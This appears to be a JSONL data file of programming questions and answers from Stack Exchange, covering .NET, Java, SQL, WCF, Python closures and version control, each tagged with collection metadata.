{"id": "hf_fd3632890f7a", "question": "<p>I've just solved another *I-though-I-was-using-this-version-of-a-library-but-apparently-my-app-server-has-already-loaded-an-older-version-of-this-library-*issue (sigh).</p>\n\n<p>Does anybody know a good way to verify (or monitor) whether your application has access to all the appropriate jar-files, or loaded class-versions?</p>\n\n<p>Thanks in advance!</p>\n\n<p>[P.S. A very good reason to start using the <a href=\"http://en.wikipedia.org/wiki/OSGi#Architecture\" rel=\"noreferrer\">OSGi module architecture</a> in my view!]</p>\n\n<p><strong>Update</strong>: <a href=\"http://www.jboss.org/community/docs/DOC-9697\" rel=\"noreferrer\">This</a> article helped as well! It gave me insight which classes JBoss' classloader loaded by writing it to a log file.</p>\n", "question_body": "", "answer": "I don't think there is a good way to check that. And I'm not sure you want to do that. What you need to do  is get familiar with your app-server's class loading architecture, and understand how that works.\nA simplified explanation of how it works is: an EJB or a web-app will first look for a class or a resource in  libraries declared in its own module (ejb-jar or war). if the class is not found there, the class loader forwards the request to the its parent class loader which is either a declared dependency (usualy an ejb) or the the application class loader which is responsible to load libraries and resources declared in the ear package. If the class or the resource is still not found the request is forwarded to the app server which will look in its own classpath.\nThis being said, you should remember that a Java EE module (web-app, ejb) will always load classes from a jar that is in the nearest scope. For example if you package log4j v1 in the war file, log4j v2 at ear level and you put log4j v3 in your app-server's class path, the module will use the jar in its own module. take that away and it'll use the one at ear level. take that out and it will use the one in the app-server's classpath. Things get more tricky when you have complex dependencies between modules.\nBest is to put application global libraries at ear level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.379483"}
{"id": "hf_b6ce9801562a", "question": "<p>I've never developed a web application that uses distributed memory. </p>\n\n<p>Is it common practice to run a tool such as Microsoft <a href=\"http://blogs.msdn.com/velocity/\" rel=\"nofollow noreferrer\">Velocity</a> on my local machine as I develop, should I run Velocity on another server as I develop, or should I just develop as normal (default session &amp; cache) and use Velocity only after I've deployed to our development server? </p>\n\n<p>We are running into a lot of memory issues in our production web application so we are researching into splitting our servers into a farm.</p>\n", "question_body": "", "answer": "I'm looking at using Velocity on a project as well. What I've done thus far is to write a common caching interface and a simple implementation that utilizes the standard ASP.NET caching system. This way I can program against that interface and later plug in the Velocity caching via a concrete implementation of the interface. You can accomplish this more easily using a dependency injection framework such as Unity or Structure Map.\nAs for where to use Velocity, I'd be sure to try it out in a development environment before going live. If you have a limited number of physical machines, use Virtual PC to set up some virtual servers and install the caching framework onto them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.439913"}
{"id": "hf_ab7650dee395", "question": "<p>I've got a generic dictionary <code>Dictionary&lt;string, T&gt;</code> that I would like to essentially make a Clone() of ..any suggestions. </p>\n", "question_body": "", "answer": "(Note: although the cloning version is potentially useful, for a simple shallow copy the constructor I mention in the other post is a better option.)\nHow deep do you want the copy to be, and what version of .NET are you using? I suspect that a LINQ call to ToDictionary, specifying both the key and element selector, will be the easiest way to go if you're using .NET 3.5.\nFor instance, if you don't mind the value being a shallow clone:\n```\n```\nvar newDictionary = oldDictionary.ToDictionary(entry => entry.Key,\n                                               entry => entry.Value);\n```\n```\nIf you've already constrained T to implement ICloneable:\n```\n```\nvar newDictionary = oldDictionary.ToDictionary(entry => entry.Key, \n                                               entry => (T) entry.Value.Clone());\n```\n```\n(Those are untested, but should work.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.463714"}
{"id": "hf_3313d30097f5", "question": "<p>I have the following code:</p>\n<pre><code>info = new System.Diagnostics.ProcessStartInfo(&quot;TheProgram.exe&quot;, String.Join(&quot; &quot;, args));\ninfo.CreateNoWindow = true;\ninfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;\ninfo.RedirectStandardOutput = true;\ninfo.UseShellExecute = false;\nSystem.Diagnostics.Process p = System.Diagnostics.Process.Start(info);\np.WaitForExit();\nConsole.WriteLine(p.StandardOutput.ReadToEnd()); //need the StandardOutput contents\n</code></pre>\n<p>I know that the output from the process I am starting is around 7MB long. Running it in the Windows console works fine. Unfortunately programmatically this hangs indefinitely at <code>WaitForExit</code>. Note also this code does NOT hang for smaller outputs (like 3KB).</p>\n<p>Is it possible that the internal <code>StandardOutput</code> in <code>ProcessStartInfo</code> can't buffer 7MB? If so, what should I do instead? If not, what am I doing wrong?</p>\n", "question_body": "", "answer": "The\ndocumentation\nfor\n```\nProcess.StandardOutput\n```\nsays to read before you wait otherwise you can deadlock, snippet copied below:\n```\n```\n// Start the child process.\n Process p = new Process();\n // Redirect the output stream of the child process.\n p.StartInfo.UseShellExecute = false;\n p.StartInfo.RedirectStandardOutput = true;\n p.StartInfo.FileName = \"Write500Lines.exe\";\n p.Start();\n // Do not wait for the child process to exit before\n // reading to the end of its redirected stream.\n // p.WaitForExit();\n // Read the output stream first and then wait.\n string output = p.StandardOutput.ReadToEnd();\n p.WaitForExit();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.487329"}
{"id": "hf_dea52dc89996", "question": "<p>I've seen both done in some code I'm maintaining, but don't know the difference. Is there one?</p>\n\n<p>let me add that myCustomer is an instance of Customer</p>\n", "question_body": "", "answer": "The result of both are exactly the same in your case. It will be your custom type that derives from\n```\nSystem.Type\n```\n. The only real difference here is that when you want to obtain the type from an instance of your class, you use\n```\nGetType\n```\n. If you don't have an instance, but you know the type name (and just need the actual\n```\nSystem.Type\n```\nto inspect or compare to), you would use\n```\ntypeof\n```\n.\nImportant difference\nEDIT: Let me add that the call to\n```\nGetType\n```\ngets resolved at runtime, while\n```\ntypeof\n```\nis resolved at compile time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.526177"}
{"id": "hf_850e82ff3e0f", "question": "<p>How do I cause the page to make the user jump to a new web page after X seconds. If possible I'd like to use HTML but a niggly feeling tells me it'll have to be Javascript.</p>\n\n<p>So far I have the following but it has no time delay</p>\n\n<pre><code>&lt;body onload=\"document.location='newPage.html'\"&gt;\n</code></pre>\n", "question_body": "", "answer": "A meta refresh is ugly but will work.  The following will go to the new url after 5 seconds:\n```\n```\n<meta http-equiv=\"refresh\" content=\"5;url=http://example.com/\"/>\n```\n```\nhttp://en.wikipedia.org/wiki/Meta_refresh", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.561252"}
{"id": "hf_5189e800695f", "question": "<p>What's the difference between <code>TRUNCATE</code> and <code>DELETE</code> in SQL?</p>\n\n<p>If your answer is platform specific, please indicate that.</p>\n", "question_body": "", "answer": "Here's a list of differences. I've highlighted Oracle-specific features, and hopefully the community can add in other vendors' specific difference also. Differences that are common to most vendors can go directly below the headings, with differences highlighted below.\nGeneral Overview\nIf you want to quickly delete all of the rows from a table, and you're really sure that you want to do it, and you do not have foreign keys against the tables, then a TRUNCATE is probably going to be faster than a DELETE.\nVarious system-specific issues have to be considered, as detailed below.\nStatement type\nDelete is DML, Truncate is DDL (\nWhat is DDL and DML?\n)\nCommit and Rollback\nVariable by vendor\nSQL*Server\nTruncate can be rolled back.\nPostgreSQL\nTruncate can be rolled back.\nOracle\nBecause a TRUNCATE is DDL it involves two commits, one before and one after the statement execution. Truncate can therefore not be rolled back, and a failure in the truncate process will have issued a commit anyway.\nHowever, see Flashback below.\nSpace reclamation\nDelete does not recover space, Truncate recovers space\nOracle\nIf you use the REUSE STORAGE clause then the data segments are not de-allocated, which can be marginally more efficient if the table is to be reloaded with data. The high water mark is reset.\nRow scope\nDelete can be used to remove all rows or only a subset of rows. Truncate removes all rows.\nOracle\nWhen a table is partitioned, the individual partitions can be truncated in isolation, thus a partial removal of all the table's data is possible.\nObject types\nDelete can be applied to tables and tables inside a cluster. Truncate applies only to tables or the entire cluster. (May be Oracle specific)\nData Object Identity\nOracle\nDelete does not affect the data object id, but truncate assigns a new data object id\nunless\nthere has never been an insert against the table since its creation Even a single insert that is rolled back will cause a new data object id to be assigned upon truncation.\nFlashback (Oracle)\nFlashback works across deletes, but a truncate prevents flashback to states prior to the operation.\nHowever, from 11gR2 the FLASHBACK ARCHIVE feature allows this, except in Express Edition\nUse of FLASHBACK in Oracle\nhttp://docs.oracle.com/cd/E11882_01/appdev.112/e41502/adfns_flashback.htm#ADFNS638\nPrivileges\nVariable\nOracle\nDelete can be granted on a table to another user or role, but truncate cannot be without using a DROP ANY TABLE grant.\nRedo/Undo\nDelete generates a small amount of redo and a large amount of undo. Truncate generates a negligible amount of each.\nIndexes\nOracle\nA truncate operation renders unusable indexes usable again. Delete does not.\nForeign Keys\nA truncate cannot be applied when an enabled foreign key references the table. Treatment with delete depends on the configuration of the foreign keys.\nTable Locking\nOracle\nTruncate requires an exclusive table lock, delete requires a shared table lock. Hence disabling table locks is a way of preventing truncate operations on a table.\nTriggers\nDML triggers do not fire on a truncate.\nOracle\nDDL triggers are available.\nRemote Execution\nOracle\nTruncate cannot be issued over a database link.\nIdentity Columns\nSQL*Server\nTruncate resets the sequence for IDENTITY column types, delete does not.\nResult set\nIn most implementations, a\n```\nDELETE\n```\nstatement can return to the client the rows that were deleted.\ne.g. in an Oracle PL/SQL subprogram you could:\n```\n```\nDELETE FROM employees_temp\nWHERE       employee_id = 299 \nRETURNING   first_name,\n            last_name\nINTO        emp_first_name,\n            emp_last_name;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.587134"}
{"id": "hf_ac6696c6ff1d", "question": "<p>I'd like to structure a Form with a TabControl but I'd like to avoid having every control on each TabPage end up being a member of the Form I'm adding the TabControl to. So far I've identified these options, please comment or suggest alternatives:</p>\n\n<p>1) Write a UserControl for each TabPage</p>\n\n<p>2) Leave only the Control on the main Form but turn the control variable public and cut-and-past all actual code into separate classes</p>\n\n<p>3) Forgo the Form designer and do everything at runtime</p>\n\n<p>4) Derive from Tabpage (not sure if this works and what the design-time implications are)</p>\n\n<p>Thanks all,</p>\n\n<p>Andrew</p>\n", "question_body": "", "answer": "In any complex WinForms application, you will probably run into the problem of too many controls on a form. Not that you'll run into a hard limit, but rather you'll run into a pain point -- such as you're describing.\nIn most scenarios, for me, your option #1 -- a user control for each tab page -- is the least painful approach. It allows you to encapsulate logical breakdowns of the controls in their own way, scoping them appropriately.\nThe downside to this is that you will likely end up exposing either a\nton\nof properties on your user control. The way out of that problem is fairly simple, though: Use a custom class to represent the data which is \"bound\" to said control, and then expose a single property for the bound instance of the class.\nYou'll have better architecture overall, you'll be more maintainable, and as an added bonus, you won't go nuts trying to get the form to work. :)\nEDIT:\nI should note that you may also end up needing to expose some custom events from the user controls which represent your tab pages. Essentially, if there's a control on the tab whose event is needed by the parent form, you'll have to create an event and raise it so that the parent form knows about it. This isn't terribly difficult, but can add significant LOCs to the user controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.649584"}
{"id": "hf_fe98ddbc4bd4", "question": "<p>if I call php's <code>parse_ini_file(\"foo.ini\")</code>, in what paths does it look for foo.ini ? \nthe include path? the function's documentation doesn't mention it.</p>\n", "question_body": "", "answer": "I would imagine it only looks in the current working directory - See\nhttp://uk3.php.net/manual/en/function.getcwd.php\nif you want to know what that is.\nYou can always find a path relative to your application by basing it on $_SERVER['DOCUMENT_ROOT']", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.745499"}
{"id": "hf_f4f80749f268", "question": "<p>I've been doing a massive code review and one pattern I notice all over the place is this:</p>\n\n<pre><code>public bool MethodName()\n{\n    bool returnValue = false;\n    if (expression)\n    {\n        // do something\n        returnValue = MethodCall();\n    }\n    else\n    {\n        // do something else\n        returnValue = Expression;\n    }\n\n    return returnValue;\n}\n</code></pre>\n\n<p>This is not how I would have done this I would have just returned the value when I knew what it was. which of these two patterns is more correct?</p>\n\n<p>I stress that the logic always seems to be structured such that the return value is assigned in one plave only and no code is executed after it's assigned.</p>\n", "question_body": "", "answer": "I would have used ternary, to reduce control structures...\n```\n```\nreturn expression ? MethodCall() : Expression;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.783107"}
{"id": "hf_632a68fbd5a8", "question": "<p>Is there any way to list all the files that have changed between two tags in CVS?</p>\n\n<p>Every time we do a release we apply a tag to all the files in that release. I want to find all the files that changed between releases.</p>\n\n<p>It would also work if I could find all files that had changed between two dates.</p>\n", "question_body": "", "answer": "I suppose this command would help:\n```\n```\ncvs diff -N -c -r RELEASE_1_0 -r RELEASE_1_1 > diffs\n```\n```\nwhere\n```\nRELEASE_1_0\n```\nand\n```\nRELEASE_1_1\n```\nare the names of your tags.\nYou can find a little more information on cvs diff command\nhere\nplus it should be fairly simple to create a script to make report more suitbable for your needs, ex: number of files changed, created deleted etc. As far as I know the most common cvs GUI tools (wincvs and tortoise) do not provide something like this out of the box.\nHope it helps\n```\n;)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.819873"}
{"id": "hf_c11a14d4d62d", "question": "<p>I have a Console application hosting a WCF service.  I would like to be able to fire an event from a method in the WCF service and handle the event in the hosting process of the WCF service.  Is this possible?  How would I do this?  Could I derive a custom class from ServiceHost?</p>\n", "question_body": "", "answer": "You don't need to inherit from\n```\nServiceHost\n```\n. There are other approaches to your problem.\nYou can pass an instance of the service class, instead of a type to\n```\nServiceHost\n```\n. Thus, you can create the instance before you start the\n```\nServiceHost\n```\n, and add your own event handlers to any events it exposes.\nHere's some sample code:\n```\n```\nMyService svc = new MyService();\nsvc.SomeEvent += new MyEventDelegate(this.OnSomeEvent);\nServiceHost host = new ServiceHost(svc);\nhost.Open();\n```\n```\nThere are some caveats when using this approach, as described in\nhttp://msdn.microsoft.com/en-us/library/ms585487.aspx\nOr you could have a well-known singleton class, that your service instances know about and explicitly call its methods when events happen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.870066"}
{"id": "hf_ff3d990374cf", "question": "<p>The following test fails:</p>\n\n<pre><code>#!/usr/bin/env python\ndef f(*args):\n    \"\"\"\n    &gt;&gt;&gt; t = 1, -1\n    &gt;&gt;&gt; f(*map(lambda i: lambda: i, t))\n    [1, -1]\n    &gt;&gt;&gt; f(*(lambda: i for i in t)) # -&gt; [-1, -1]\n    [1, -1]\n    &gt;&gt;&gt; f(*[lambda: i for i in t]) # -&gt; [-1, -1]\n    [1, -1]\n    \"\"\"\n    alist = [a() for a in args]\n    print(alist)\n\nif __name__ == '__main__':\n    import doctest; doctest.testmod()\n</code></pre>\n\n<p>In other words:</p>\n\n<pre><code>&gt;&gt;&gt; t = 1, -1\n&gt;&gt;&gt; args = []\n&gt;&gt;&gt; for i in t:\n...   args.append(lambda: i)\n...\n&gt;&gt;&gt; map(lambda a: a(), args)\n[-1, -1]\n&gt;&gt;&gt; args = []\n&gt;&gt;&gt; for i in t:\n...   args.append((lambda i: lambda: i)(i))\n...\n&gt;&gt;&gt; map(lambda a: a(), args)\n[1, -1]\n&gt;&gt;&gt; args = []\n&gt;&gt;&gt; for i in t:\n...   args.append(lambda i=i: i)\n...\n&gt;&gt;&gt; map(lambda a: a(), args)\n[1, -1]\n</code></pre>\n", "question_body": "", "answer": "The lambda captures variables, not values, hence the code\n```\n```\nlambda : i\n```\n```\nwill always return the value i is\ncurrently\nbound to in the closure.  By the time it gets called, this value has been set to -1.\nTo get what you want, you'll need to capture the actual binding at the time the lambda is created, by:\n```\n```\n>>> f(*(lambda i=i: i for i in t)) # -> [-1, -1]\n[1, -1]\n>>> f(*[lambda i=i: i for i in t]) # -> [-1, -1]\n[1, -1]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.907301"}
{"id": "hf_003680f30aaf", "question": "<p>What is the bare minimum I need to put in web.config to get WCF working with REST? I have annotated my methods with [WebGet], but they are not getting the message.</p>\n", "question_body": "", "answer": "Ensure that you use a webHttpBinding on your endpoint (and not an httpBinding or wsHttpBinding). Here's my endpoint config...\n```\n```\n<endpoint address=\"\" binding=\"webHttpBinding\" bindingConfiguration=\"\"\n      contract=\"WcfCore.ICustomer\">\n      <identity>\n        <dns value=\"localhost\" />\n      </identity>\n    </endpoint>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.932659"}
{"id": "hf_423b6911dd7b", "question": "<p>I am using StringReplace to replace &amp;gt and &amp;lt by the char itself in a generated XML like this:</p>\n\n<pre><code>StringReplace(xml.Text,'&amp;gt;','&gt;',[rfReplaceAll]) ;\nStringReplace(xml.Text,'&amp;lt;','&lt;',[rfReplaceAll]) ;\n</code></pre>\n\n<p>The thing is it takes way tooo long to replace every occurence of &amp;gt.</p>\n\n<p>Do you purpose any better idea to make it faster?</p>\n", "question_body": "", "answer": "The problem is that you are iterating the entire string size twice (one for replacing &gt; by > and another one to replace &lt; by <).\nYou should iterate with a for and simply check ahead whenever you find a & for a gt; or lt; and do the immediate replace and then skipping 3 characters ((g|l)t;). This way it can do that in proportional time to the size of the string\nxml.Text\n.\nA simple C# example as I do not know Delphi but should do for you to get the general idea.\n```\n```\nString s = \"&lt;xml&gt;test&lt;/xml&gt;\";\nchar[] input = s.ToCharArray();\nchar[] res = new char[s.Length];\nint j = 0;\nfor (int i = 0, count = input.Length; i < count; ++i)\n{\n    if (input[i] == '&')\n    {\n        if (i < count - 3)\n        {\n            if (input[i + 1] == 'l' || input[i + 1] == 'g')\n            {\n                if (input[i + 2] == 't' && input[i + 3] == ';')\n                {\n                    res[j++] = input[i + 1] == 'l' ? '<' : '>';\n                    i += 3;\n                    continue;\n                }\n            }\n        }\n    }\n\n    res[j++] = input[i];\n}\nConsole.WriteLine(new string(res, 0, j));\n```\n```\nThis outputs:\n```\n```\n<xml>test</xml>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.969598"}
{"id": "hf_dc8b70e78f8f", "question": "<p>I have a C# WinForms borderless window, for which I override WndProc and handle the WM_NCHITTEST message. For an area of that form, my hit test function returns HTSYSMENU. Double-clicking that area successfully closes the form, but right-clicking it does not show the window's system menu, nor does it show up when right-clicking the window's name in the taskbar.</p>\n\n<p>This form uses these styles:</p>\n\n<pre><code>this.SetStyle( ControlStyles.AllPaintingInWmPaint, true );\nthis.SetStyle( ControlStyles.UserPaint, true );\nthis.SetStyle( ControlStyles.OptimizedDoubleBuffer, true );\nthis.SetStyle( ControlStyles.ResizeRedraw, true );\n</code></pre>\n\n<p>And has these non-default property values:</p>\n\n<pre><code>this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;\nthis.KeyPreview = true;\nthis.MaximizeBox = false;\nthis.MinimizeBox = false;\n</code></pre>\n\n<p>I've tried handling WM_NCRBUTTONDOWN and WM_NCRBUTTONUP, and send the WM_GETSYSMENU message, but it didn't work.</p>\n", "question_body": "", "answer": "I have the same properties in my application and Right click doesn't work either, so this is not\nyour problem\n, it appears to be the way windows forms respond when they have no border.\nIf you set your border to the normal value, you will be able to have right click in the taskbar and such.\nFor right click on other controls, you'll need to set the ContextMenuStrip and provide your \"menu\". But I'm not sure if this works when you have it without border. I have been unable to make it work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:33.994286"}
{"id": "hf_9bb099364fbd", "question": "<p>Is it a good idea to use while loop instead of a cursor?</p>\n<p>What are the advantages/disadvantages of cursors?</p>\n", "question_body": "", "answer": "Some of these depends on the DBMS, but generally:\nPros:\nOutperform loops when it comes to row-by-row processing\nWorks reasonably well with large datasets\nCons:\nDon't scale as well\nUse more server resources\nIncreases load on tempdb\nCan cause leaks if used incorrectly (eg. Open without corresponding Close)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.036086"}
{"id": "hf_b93d73a95e31", "question": "<p>The MEF team keep saying it is about plug-in model. So, are we talking about UI plugins? How can we use this stuff in non-UI code? \nI downloaded the code and the examples are all about GUI. Am I guessing it wrong?</p>\n", "question_body": "", "answer": "Ayende sums up MEF rather nicely here:\nhttp://ayende.com/Blog/archive/2008/09/25/the-managed-extensibility-framework.aspx\nAlso the herding code lads had a great interview with Glenn Block, one of the MS MEF guys:\nhttp://herdingcode.com/?p=28\nhttp://herdingcode.com/?p=31", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.085881"}
{"id": "hf_25107a587e6d", "question": "<p>Does anyone know of a freely available java 1.5 package that provides a list of ISO 3166-1 country codes as a enum or EnumMap?  Specifically I need the \"ISO 3166-1-alpha-2 code elements\", i.e. the 2 character country code like \"us\", \"uk\", \"de\", etc.  Creating one is simple enough (although tedious), but if there's a standard one already out there in apache land or the like it would save a little time.</p>\n", "question_body": "", "answer": "This code gets 242 countries in Sun Java 6:\n```\n```\nString[] countryCodes = Locale.getISOCountries();\n```\n```\nThough\nthe ISO website\nclaims there are 249\nISO 3166-1-alpha-2 code elements\n, though the\njavadoc\nlinks to the same information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.121167"}
{"id": "hf_f2850be551aa", "question": "<p>Google results on this one are a bit thin, but suggest that it is not easily possible.</p>\n\n<p>My specific problem is that I need to renumber the IDs in two tables that are related to each other such that table B has an \"table_a_id\" column in it. I can't renumber table A first because then its children in B point to the old IDs. I can't renumber table B first because then they would point to the new IDs before they were created. Now repeat for three or four tables.</p>\n\n<p>I don't really want to have to fiddle around with individual relationships when I could just \"start transaction; disable ref integrity; sort IDs out; re-enable ref integrity; commit transaction\". Mysql and MSSQL both provide this functionality IIRC so I would be surprised if Postgres didn't.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It does not seem possible. Other suggestions almost always refer to dropping the constraints and recreating them after work is done.\nHowever, it seems you can make constraints\n```\nDEFERRABLE\n```\n, such that they are not checked until the end of a transaction. See\nPostgreSQL documentation for\n```\nCREATE TABLE\n```\n(search for 'deferrable', it's in the middle of the page).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.145566"}
{"id": "hf_918e7a335e45", "question": "<p>I have a problem with setting the TTL on my Datagram packets.  I am calling the setTTL(...) method on the packet before sending the packet to the multicastSocket but if I capture the packet with ethereal the TTL field is always set to 0</p>\n", "question_body": "", "answer": "Basically you have to set an special system property telling the JVM to use an IPv4 stack:\n```\n```\n-Djava.net.preferIPv4Stack=true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.193883"}
{"id": "hf_0d3ecb0e71bb", "question": "<p>I'm using the document.form.submit() function for a rather large input form (hundreds of fields, it's an inventory application).  I'm calling this after the user has been idle for a certain amount of time and I would like to save any data they've typed.  When I try this the page reloads (the action is #) but any new text typed in the fields is not passed in the REQUEST, so I don't get to put it in the DB.  Is there some fundamental reason why this happens or is my code just not playing nice together (I'm using the EXTJS grid view to show the form and a library for tracking idle time)?\nThanks,\nRobert</p>\n", "question_body": "", "answer": "Might the server be voiding out the input values. Say if your page on the server looks like this:\n```\n```\n<form action=\"/page.cgi\">\n  ...\n  <input name=\"Fieldx\" value=\"\"/>\n</form>\n```\n```\nI think it'll void out the field. Or this the server action might be setting it indirectly. In JSF, something like this.\n```\n```\n<input name=\"Fieldx\" value=\"#{bean.nullProperty}\"/>\n```\n```\nWhat do you have on the server and what's your browser?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.218985"}
{"id": "hf_16c494605d95", "question": "<p>I've started with ASP.NET MVC recently, reading blogs, tutorials, trying some routes, etc. Now, i've stumbled on a issue where i need some help.</p>\n\n<p>Basically, i have an URL like /products.aspx?categoryid=foo&amp;productid=bar</p>\n\n<p>Most tutorials/examples propose to map this to something like: /products/category/foo/bar where \"products\" is the controller, \"category\" is the action, etc.</p>\n\n<p>But i need to map it to /products/foo/bar. (without \"category\")</p>\n\n<p>Is it possible? Am i missing something? Help will be highly appreciated. Thank you advance :)</p>\n\n<p>P.S. Sorry for my bad English.</p>\n", "question_body": "", "answer": "(your English is just fine, no need to apologize!)\nYou can define a route like this:\n```\n```\nroutes.MapRoute(\"productsByCategory\", \"products/{category}/{productid}\",\n  new { controller=\"products\", action=\"findByCategory\" })\n```\n```\nThis will match\n```\nproducts/foo/bar\n```\nand call an action looking like this:\n```\n```\npublic class ProductsController : Controller\n{\n   ...\n\n   public ActionResult FindByCategory(string category, string productid)\n   {\n          ....\n   }\n}\n```\n```\ndoes this help?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.278097"}
{"id": "hf_c720854c120c", "question": "<p>I have two functions, <code>f</code> and <code>g</code>, which call each other recursively. Unfortunately, when <code>f</code> calls <code>g</code>, it has not yet been declared, so I get an \"unbound variable\" error.  How can I prototype (or whatever the equivalent vocabulary is) this function in SML/NJ?</p>\n", "question_body": "", "answer": "Mutual Recursion. Use\n```\nand\n```\ninstead of\n```\nfun\n```\nbetween the two functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.376629"}
